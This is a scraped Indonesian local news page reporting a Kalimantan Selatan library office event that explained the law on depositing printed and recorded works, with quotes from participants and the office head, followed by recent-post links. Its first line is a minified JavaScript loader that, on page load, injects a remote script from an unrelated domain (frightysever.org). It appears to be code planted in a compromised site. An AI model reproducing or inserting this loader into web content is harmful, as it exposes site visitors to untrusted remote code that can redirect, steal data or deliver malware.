(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Penulis dan Penerbit Harus Tahu UU Serah Simpan Karya Cetak dan Karya Rekam


BANJARMASIN, Guna menyamakan persepsi dalam hal penyimpanan karya baik berupa cetak maupun rekam, Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel menggelar sosialisasi UU Nomor 13 tahun 2018 tentang serah simpan karya cetak dan karya rekam, Kamis (7/11) siang.

Sosialisasi ini diikuti guru, pustakawan hingga penulis dari seluruh kabupaten/kota di Kalsel. Salah satu peserta, Dr Hatmiati Masy’ud mengatakan, acara ini sangat bagus karena memberikan wawasan bagi penulis dan pustakawan untuk memahami lebih jauh tentang seluk beluk penerbitan karya.

“Selain itu, para narasumber memang memberikan informasi yang jelas tentang seluk beluk karya sehingga para peserta mengerti bagaimana kalau ingin menerbitkan sebuah karya,” kata dosen STAI Rakha Amuntai ini, Kamis (7/11).

“Saya juga berterimakasih dengan Dispersip Kalsel yang telah memfasilitasi acara ini. Karena sangat jarang penulis mendapatkan informasi tentang penerbitan karya ini. Dan saya juga baru pertama kali mengikuti acara seperti ini,” tambahnya.

Senada, salah satu peserta lainnya Samsuni Sarman mengatakan, sebagai seorang yang aktif menulis, secara langsung membuka wawasan arti penting karya tersimpan di perpustakaan, selain aspek kearsipan juga aspek historis. “Sebagai penulis jelas pemahaman tentang UU ini menjadi kekuatan dalam berkarya yang memiliki nilai masa depan lebih baik,” kata guru di SDN Alalak Utara 1 Banjarmasin ini.

Sementara, Kepala Dispersip Provinsi Kalsel Dra Hj Nurliani Dardie mengutarakan, kegiatan ini bertujuan untuk menumbuhkan kesadaran penulis, penerbit dan produsen karya rekam untuk menyerahkan karya rekam. Sehingga, dapat menyelamatkan karya cetak dan karya rekam dari ancaman bahaya yang disebabhan oleh bencana alam maupun perbuatan manusia.

“Selain itu, untuk mewujudkan koleksi nasional dan melestarikannya sebagai hasil budaya bangsa dalam rangka menunjang pembangunan melalui pendidikan, penelitian, dan pengembangan iptek. Dan juga agar karya mereka para penulis bisa diketahui masyarakat luas terutama pengguna jasa perpustakaan,” jelas Bunda Nunung. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

5 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

5 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

6 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

11 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

12 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.